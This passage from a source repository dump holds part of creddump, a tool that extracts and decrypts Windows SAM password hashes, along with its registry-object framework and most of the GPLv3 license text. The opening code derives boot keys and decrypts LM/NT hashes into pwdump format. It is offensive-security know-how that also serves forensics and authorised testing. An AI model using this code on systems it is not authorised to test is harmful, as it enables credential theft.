range(len(bootkey)): 121 | bootkey_scrambled += bootkey[p[i]] 122 | 123 | return bootkey_scrambled 124 | 125 | def get_hbootkey(samaddr, bootkey): 126 | sam_account_path = ["SAM", "Domains", "Account"] 127 | 128 | root = get_root(samaddr) 129 | if not root: return None 130 | 131 | sam_account_key = open_key(root, sam_account_path) 132 | if not sam_account_key: return None 133 | 134 | F = None 135 | for v in values(sam_account_key): 136 | if v.Name == 'F': 137 | F = samaddr.read(v.Data.value, v.DataLength.value) 138 | if not F: return None 139 | 140 | md5 = MD5.new() 141 | md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) 142 | rc4_key = md5.digest() 143 | 144 | rc4 = ARC4.new(rc4_key) 145 | hbootkey = rc4.encrypt(F[0x80:0xA0]) 146 | 147 | return hbootkey 148 | 149 | def get_user_keys(samaddr): 150 | user_key_path = ["SAM", "Domains", "Account", "Users"] 151 | 152 | root = get_root(samaddr) 153 | if not root: return [] 154 | 155 | user_key = open_key(root, user_key_path) 156 | if not user_key: return [] 157 | 158 | return [k for k in subkeys(user_key) if k.Name != "Names"] 159 | 160 | def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): 161 | (des_k1,des_k2) = sid_to_key(rid) 162 | d1 = DES.new(des_k1, DES.MODE_ECB) 163 | d2 = DES.new(des_k2, DES.MODE_ECB) 164 | 165 | md5 = MD5.new() 166 | md5.update(hbootkey[:0x10] + pack("<L",rid) + lmntstr) 167 | rc4_key = md5.digest() 168 | rc4 = ARC4.new(rc4_key) 169 | obfkey = rc4.encrypt(enc_hash) 170 | hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:]) 171 | 172 | return hash 173 | 174 | def decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey): 175 | # LM Hash 176 | if enc_lm_hash: 177 | lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword) 178 | else: 179 | lmhash = "" 180 | 181 | # NT Hash 182 | if enc_nt_hash: 183 | nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword) 184 | else: 185 | nthash = "" 186 | 187 | return lmhash,nthash 188 | 189 | def get_user_hashes(user_key, hbootkey): 190 | samaddr = user_key.space 191 | rid = int(user_key.Name, 16) 192 | V = None 193 | for v in values(user_key): 194 | if v.Name == 'V': 195 | V = samaddr.read(v.Data.value, v.DataLength.value) 196 | if not V: return None 197 | 198 | hash_offset = unpack("<L", V[0x9c:0x9c+4])[0] + 0xCC 199 | 200 | lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False 201 | nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False 202 | 203 | enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else "" 204 | enc_nt_hash = V[hash_offset+(24 if lm_exists else 8):hash_offset+(24 if lm_exists else 8)+16] if nt_exists else "" 205 | 206 | return decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey) 207 | 208 | def get_user_name(user_key): 209 | samaddr = user_key.space 210 | V = None 211 | for v in values(user_key): 212 | if v.Name == 'V': 213 | V = samaddr.read(v.Data.value, v.DataLength.value) 214 | if not V: return None 215 | 216 | name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC 217 | name_length = unpack("<L", V[0x10:0x14])[0] 218 | 219 | username = V[name_offset:name_offset+name_length].decode('utf-16-le') 220 | return username 221 | 222 | def dump_hashes(sysaddr, samaddr): 223 | bootkey = get_bootkey(sysaddr) 224 | hbootkey = get_hbootkey(samaddr,bootkey) 225 | 226 | ret_val = [] 227 | 228 | for user in get_user_keys(samaddr): 229 | lmhash,nthash = get_user_hashes(user,hbootkey) 230 | if not lmhash: lmhash = empty_lm 231 | if not nthash: nthash = empty_nt 232 | ret_val.append("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name,16), 233 | lmhash.encode('hex'), nthash.encode('hex'))) 234 | 235 | return ret_val 236 | 237 | def dump_file_hashes(syshive_fname, samhive_fname): 238 | sysaddr = HiveFileAddressSpace(syshive_fname) 239 | samaddr = HiveFileAddressSpace(samhive_fname) 240 | return dump_hashes(sysaddr, samaddr) 241 | -------------------------------------------------------------------------------- /tools/creddump/framework/newobj.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see <http://www.gnu.org/licenses/>. 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.object import * 23 | from framework.types import regtypes as types 24 | from operator import itemgetter 25 | from struct import unpack 26 | 27 | def get_ptr_type(structure, member): 28 | """Return the type a pointer points to. 29 | 30 | Arguments: 31 | structure : the name of the structure from vtypes 32 | member : a list of members 33 | 34 | Example: 35 | get_ptr_type('_EPROCESS', ['ActiveProcessLinks', 'Flink']) => ['_LIST_ENTRY'] 36 | """ 37 | if len(member) > 1: 38 | _, tp = get_obj_offset(types, [structure, member[0]]) 39 | if tp == 'array': 40 | return types[structure][1][member[0]][1][2][1] 41 | else: 42 | return get_ptr_type(tp, member[1:]) 43 | else: 44 | return types[structure][1][member[0]][1][1] 45 | 46 | class Obj(object): 47 | """Base class for all objects. 48 | 49 | May return a subclass for certain data types to allow 50 | for special handling. 51 | """ 52 | 53 | def __new__(typ, name, address, space): 54 | if name in globals(): 55 | # This is a bit of "magic" 56 | # Could be replaced with a dict mapping type names to types 57 | return globals()[name](name,address,space) 58 | elif name in builtin_types: 59 | return Primitive(name, address, space) 60 | else: 61 | obj = object.__new__(typ) 62 | return obj 63 | 64 | def __init__(self, name, address, space): 65 | self.name = name 66 | self.address = address 67 | self.space = space 68 | 69 | # Subclasses can add fields to this list if they want them 70 | # to show up in values() or members(), even if they do not 71 | # appear in the vtype definition 72 | self.extra_members = [] 73 | 74 | def __getattribute__(self, attr): 75 | try: 76 | return object.__getattribute__(self, attr) 77 | except AttributeError: 78 | pass 79 | 80 | if self.name in builtin_types: 81 | raise AttributeError("Primitive types have no dynamic attributes") 82 | 83 | try: 84 | off, tp = get_obj_offset(types, [self.name, attr]) 85 | except: 86 | raise AttributeError("'%s' has no attribute '%s'" % (self.name, attr)) 87 | 88 | if tp == 'array': 89 | a_len = types[self.name][1][attr][1][1] 90 | l = [] 91 | for i in range(a_len): 92 | a_off, a_tp = get_obj_offset(types, [self.name, attr, i]) 93 | if a_tp == 'pointer': 94 | ptp = get_ptr_type(self.name, [attr, i]) 95 | l.append(Pointer(a_tp, self.address+a_off, self.space, ptp)) 96 | else: 97 | l.append(Obj(a_tp, self.address+a_off, self.space)) 98 | return l 99 | elif tp == 'pointer': 100 | # Can't just return a Obj here, since pointers need to also 101 | # know what type they point to. 102 | ptp = get_ptr_type(self.name, [attr]) 103 | return Pointer(tp, self.address+off, self.space, ptp) 104 | else: 105 | return Obj(tp, self.address+off, self.space) 106 | 107 | def __div__(self, other): 108 | if isinstance(other,tuple) or isinstance(other,list): 109 | return Pointer(other[0], self.address, self.space, other[1]) 110 | elif isinstance(other,str): 111 | return Obj(other, self.address, self.space) 112 | else: 113 | raise ValueError("Must provide a type name as string for casting") 114 | 115 | def members(self): 116 | """Return a list of this object's members, sorted by offset.""" 117 | 118 | # Could also just return the list 119 | membs = [ (k, v[0]) for k,v in types[self.name][1].items()] 120 | membs.sort(key=itemgetter(1)) 121 | return map(itemgetter(0),membs) + self.extra_members 122 | 123 | def values(self): 124 | """Return a dictionary of this object's members and their values""" 125 | 126 | valdict = {} 127 | for k in self.members(): 128 | valdict[k] = getattr(self, k) 129 | return valdict 130 | 131 | def bytes(self, length=-1): 132 | """Get bytes starting at the address of this object. 133 | 134 | Arguments: 135 | length : the number of bytes to read. Default: size of 136 | this object. 137 | """ 138 | 139 | if length == -1: 140 | length = self.size() 141 | return self.space.read(self.address, length) 142 | 143 | def size(self): 144 | """Get the size of this object.""" 145 | 146 | if self.name in builtin_types: 147 | return builtin_types[self.name][0] 148 | else: 149 | return types[self.name][0] 150 | 151 | def __repr__(self): 152 | return "<%s @%08x>" % (self.name, self.address) 153 | 154 | def __eq__(self, other): 155 | if not isinstance(other, Obj): 156 | raise TypeError("Types are incomparable") 157 | return self.address == other.address and self.name == other.name 158 | 159 | def __ne__(self, other): 160 | return not self.__eq__(other) 161 | 162 | def __hash__(self): 163 | return hash(self.address) ^ hash(self.name) 164 | 165 | def is_valid(self): 166 | return self.space.is_valid_address(self.address) 167 | 168 | def get_offset(self, member): 169 | return get_obj_offset(types, [self.name] + member) 170 | 171 | class Primitive(Obj): 172 | """Class to represent a primitive data type. 173 | 174 | Attributes: 175 | value : the python primitive value of this type 176 | """ 177 | 178 | def __new__(typ, *args, **kwargs): 179 | obj = object.__new__(typ) 180 | return obj 181 | 182 | def __init__(self, name, address, space): 183 | super(Primitive,self).__init__(name, address, space) 184 | length, fmt = builtin_types[name] 185 | data = space.read(address,length) 186 | if not data: self.value = None 187 | else: self.value = unpack(fmt,data)[0] 188 | 189 | def __repr__(self): 190 | return repr(self.value) 191 | 192 | def members(self): 193 | return [] 194 | 195 | class Pointer(Obj): 196 | """Class to represent pointers. 197 | 198 | value : the object pointed to 199 | 200 | If an attribute is not found in this instance, 201 | the attribute will be looked up in the referenced 202 | object.""" 203 | 204 | def __new__(typ, *args, **kwargs): 205 | obj = object.__new__(typ) 206 | return obj 207 | 208 | def __init__(self, name, address, space, ptr_type): 209 | super(Pointer,self).__init__(name, address, space) 210 | ptr_address = read_value(space, name, address) 211 | if ptr_type[0] == 'pointer': 212 | self.value = Pointer(ptr_type[0], ptr_address, self.space, ptr_type[1]) 213 | else: 214 | self.value = Obj(ptr_type[0], ptr_address, self.space) 215 | 216 | def __getattribute__(self, attr): 217 | # It's still nice to be able to access things through pointers 218 | # without having to explicitly dereference them, so if we don't 219 | # find an attribute via our superclass, just dereference the pointer 220 | # and return the attribute in the pointed-to type. 221 | try: 222 | return super(Pointer,self).__getattribute__(attr) 223 | except AttributeError: 224 | return getattr(self.value, attr) 225 | 226 | def __repr__(self): 227 | return "<pointer to [%s @%08x]>" % (self.value.name, self.value.address) 228 | 229 | def members(self): 230 | return self.value.members() 231 | 232 | class _UNICODE_STRING(Obj): 233 | """Class representing a _UNICODE_STRING 234 | 235 | Adds the following behavior: 236 | * The Buffer attribute is presented as a Python string rather 237 | than a pointer to an unsigned short. 238 | * The __str__ method returns the value of the Buffer. 239 | """ 240 | 241 | def __new__(typ, *args, **kwargs): 242 | obj = object.__new__(typ) 243 | return obj 244 | 245 | def __str__(self): 246 | return self.Buffer 247 | 248 | # Custom Attributes 249 | def getBuffer(self): 250 | return read_unicode_string(self.space, types, [], self.address) 251 | Buffer = property(fget=getBuffer) 252 | 253 | class _CM_KEY_NODE(Obj): 254 | def __new__(typ, *args, **kwargs): 255 | obj = object.__new__(typ) 256 | return obj 257 | 258 | def getName(self): 259 | return read_string(self.space, types, ['_CM_KEY_NODE', 'Name'], 260 | self.address, self.NameLength.value) 261 | Name = property(fget=getName) 262 | 263 | class _CM_KEY_VALUE(Obj): 264 | def __new__(typ, *args, **kwargs): 265 | obj = object.__new__(typ) 266 | return obj 267 | 268 | def getName(self): 269 | return read_string(self.space, types, ['_CM_KEY_VALUE', 'Name'], 270 | self.address, self.NameLength.value) 271 | Name = property(fget=getName) 272 | 273 | class _CHILD_LIST(Obj): 274 | def __new__(typ, *args, **kwargs): 275 | obj = object.__new__(typ) 276 | return obj 277 | 278 | def getList(self): 279 | lst = [] 280 | list_address = read_obj(self.space, types, 281 | ['_CHILD_LIST', 'List'], self.address) 282 | for i in range(self.Count.value): 283 | lst.append(Pointer("pointer", list_address+(i*4), self.space, 284 | ["_CM_KEY_VALUE"])) 285 | return lst 286 | List = property(fget=getList) 287 | 288 | class _CM_KEY_INDEX(Obj): 289 | def __new__(typ, *args, **kwargs): 290 | obj = object.__new__(typ) 291 | return obj 292 | 293 | def getList(self): 294 | lst = [] 295 | for i in range(self.Count.value): 296 | # we are ignoring the hash value here 297 | off,tp = get_obj_offset(types, ['_CM_KEY_INDEX', 'List', i*2]) 298 | lst.append(Pointer("pointer", self.address+off, self.space, 299 | ["_CM_KEY_NODE"])) 300 | return lst 301 | List = property(fget=getList) 302 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A 